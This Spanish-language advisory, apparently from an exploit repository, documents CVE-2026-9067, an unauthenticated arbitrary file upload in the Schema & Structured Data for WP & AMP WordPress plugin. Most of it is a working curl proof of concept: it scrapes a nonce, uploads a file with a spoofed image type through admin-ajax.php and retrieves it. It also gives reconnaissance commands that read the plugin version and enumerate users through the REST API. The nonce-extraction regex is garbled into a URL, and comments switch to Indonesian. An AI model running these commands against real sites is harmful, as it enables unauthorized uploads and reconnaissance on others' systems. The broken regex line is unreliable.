
Schema & Structured Data for WP & AMP < 1.60 - Carga Arbitraria de Medios sin Autenticación [POC y Exploit]
| CVE ID | Plugin | Severidad | Tipo | Estado |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Alta (8.1) | Subida de archivos sin restricciones | Documentado |
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-9067 |
| Plugin | Schema & Structured Data for WP & AMP |
| Versiones afectadas | < 1.60 |
| CWE | CWE-434 (Subida sin restricciones de archivo con tipo peligroso) |
| CVSS v3.1 | 8.1 (Alta) |
| Investigador | 0xBassia |
El plugin Schema & Structured Data for WP & AMP anterior a la versión 1.60 no valida las capacidades (capabilities) del usuario en los manejadores AJAX para la subida de archivos ni valida el tipo de archivo subido. Esto permite que un atacante no autenticado pueda subir archivos arbitrarios.
Nota importante: El núcleo de WordPress bloquea los archivos ejecutables (.php, .phtml, .html, .svg), por lo que no existe una vía de RCE directa a partir de esta vulnerabilidad.
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/main/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
| Campo | Valor |
|---|---|
| URL objetivo | https://yorbit7.ddev.site |
| Versión de PHP | 8.4 |
| Base de datos | MariaDB 11.8 |
| Versión de WordPress | 7.0 |
| Método de prueba | basado en curl (pruebas de caja negra) |
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
DISALLOW_FILE_MODIFICATIONS.htaccess